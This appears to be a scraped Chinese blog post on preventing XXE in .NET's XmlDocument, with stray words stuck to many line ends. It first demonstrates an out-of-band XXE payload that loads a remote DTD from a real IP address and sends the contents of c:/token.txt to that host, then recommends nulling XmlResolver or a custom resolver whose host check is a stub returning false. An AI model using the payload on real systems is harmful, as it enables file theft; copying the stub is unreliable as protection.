XmlDocument 避免XXE

string xml2 = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\" ?><!DOCTYPE root [<!ENTITY % remote SYSTEM \"http://182.84.222.228:89/eval.xml\">%remote;]></root>";
服务器

XmlDocument xmlDoc = new XmlDocument();
//xmlDoc.XmlResolver = null;
xmlDoc.LoadXml(xml);ide

Console.WriteLine(xmlDoc.InnerText);函数

上面代码发起请求,服务器上用下面这个代码url

<!ENTITY % payload "1111"><!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://182.84.222.228:89/Get.aspx?p=%payload;'>">%int;%trick;spa

会发现服务器接收到了请求。参数名是 p ,内容是 1111code

若是把前面一个实体类改成读取系统文件的,危害就比较大了,好比(我只是随便读取一个盘符的文件):xml

<!ENTITY % payload SYSTEM "file://c:/token.txt"><!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://182.84.222.228:89/Get.aspx?p=%payload;'>">%int;%trick;token

==========================资源

 

 

使用 XmlDocument.XmlResolver 属性提供的XmlResolver 解决外部资源。 若是你的XML文档不包含任何外部资源( 例如dtd或者模式),只需将这里属性设置为 null:rem

XmlDocument xmlDoc = new XmlDocument(); xmlDoc.XmlResolver = null; xmlDoc.LoadXml(OurOutputXMLString);

若是但愿过滤来自( 。例如仅容许某些域)的url,只需从 XmlUrlResolver 派生本身的类并重写 ResolveUri() 方法。 你能够在那里检查URL是什么,并消毒它。

例如:

class CustomUrlResovler : XmlUrlResolver { public override Uri ResolveUri(Uri baseUri, string relativeUri) { Uri uri = new Uri(baseUri, relativeUri); if (IsUnsafeHost(uri.Host)) return null; return base.ResolveUri(baseUri, relativeUri); } private bool IsUnsafeHost(string host) { return false; } }

其中 IsUnsafeHost() 是一个自定义函数,它检查给定的主机是否容许或者不被容许。 看到这篇文章对于一些想法。 只是从 ResolveUri()保存返回 null 代码从这种攻击。 若是容许 URI,你能够简单地返回默认的XmlUrlResolver.ResolveUri() 实现。

要使用它:

XmlDocument xmlDoc = new XmlDocument(); xmlDoc.XmlResolver = new CustomUrlResolver(); xmlDoc.LoadXml(OurOutputXMLString);

关于如何解析XML外部资源的更多细节,请阅读本文 。

相关文章
相关标签/搜索